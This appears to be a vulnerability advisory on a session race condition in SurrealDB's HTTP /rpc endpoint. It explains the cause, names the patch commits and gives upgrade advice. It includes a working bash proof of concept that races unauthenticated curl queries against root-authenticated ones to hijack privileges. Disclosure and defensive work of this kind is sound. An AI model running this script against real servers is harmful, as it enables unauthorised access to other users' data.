SurrealDB HTTP RPC Session Race Condition Allows Privilege Escalation
A race condition in SurrealDB's HTTP /rpc endpoint lets an unauthenticated attacker inherit an active authenticated user's session and execute queries with their privileges, including potential root a
The problem
The HTTP `/rpc` handler in SurrealDB prior to 3.1.0 uses a shared, mutable default session context across all concurrent requests. When an authenticated request writes its session state and an unauthenticated request races in before that state is cleared, the unauthenticated request executes under the authenticated user's privileges.
This is a classic TOCTOU (time-of-check/time-of-use) race. No credentials, tokens, or prior knowledge of the session are required. The attacker only needs network access to `/rpc` and the ability to send concurrent requests while any legitimate authenticated traffic is active.
If the hijacked session belongs to a root or namespace-level user, the attacker can read and modify any data, delete records, and create persistent users.
Proof of concept
A working proof-of-concept for this issue in surrealdb, with the exact payload below.
#!/usr/bin/env bash
# Fire an unauthenticated /rpc query in a tight loop while a legitimate
# authenticated session runs concurrently on the same endpoint.
# If the race is won, the unauthenticated request executes as the
# authenticated user and the response will contain privileged data.
TARGET="http://localhost:8000/rpc"
# Legitimate authenticated request (runs in background, keeps sessions active)
for i in $(seq 1 200); do
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-H "Surreal-NS: prod" \
-H "Surreal-DB: app" \
-u "root:root" \
-d '{"id":1,"method":"query","params":["SELECT * FROM user LIMIT 1"]}' \
> /dev/null &
done
# Racing unauthenticated requests - no Authorization header
for i in $(seq 1 200); do
curl -s -X POST "$TARGET" \
-H "Content-Type: application/json" \
-H "Surreal-NS: prod" \
-H "Surreal-DB: app" \
-d '{"id":1,"method":"query","params":["SELECT * FROM user"]}' &
done
wait
# Any unauthenticated response containing user records confirms session hijack.The root cause is that the HTTP `/rpc` handler stored authentication state in a single shared "default session" keyed by `Option<Uuid>`. When `None` was the key (i.e., no session UUID was allocated per-request), all concurrent requests resolved to the same session slot.
An unauthenticated request racing in while an authenticated request had written its credentials to that slot would read the authenticated state before it was cleared, executing as that user. The patch (commits 2f53e6e and fd800fc) replaces `Option<Uuid>` with a non-optional `Uuid` in the session-map signatures, allocating a fresh server-side UUID for every `POST /rpc` request.
This makes a "no session" state unrepresentable at the type level, so each HTTP request is unconditionally isolated in its own scope for the full duration of the request.
CWE-362 (Race Condition) via shared mutable state with no per-request isolation.
The fix
Upgrade to SurrealDB 3.1.0 or later. The fix is unconditional and requires no configuration change. There is no config-level workaround for older versions. If upgrading immediately is not possible, restrict network access to the `/rpc` endpoint to trusted clients only as a temporary exposure reduction measure.
The patch commits are 2f53e6e86d1b87e38300e714cfd7aede1abe4c3d and fd800fc7c55afcdc97057d18cf7cb7f83557e702 in the surrealdb/surrealdb repository.
Related research
- high · 8.6CVE-2026-55441CVE-2026-55441: mise Tera exec() Injection via Untrusted Task-Include Files
- high · 7.5CVE-2026-48708CVE-2026-48708: OliveTin Concurrent Template Parsing Race Condition
- high · 7.4CVE-2026-48505CVE-2026-48505: Filament MFA Recovery Code Race Condition
- high · 8.2CVE-2026-49998CVE-2026-49998: Centrifugo Cross-Issuer JWT Authentication Bypass via JWKS Kid Cache Collision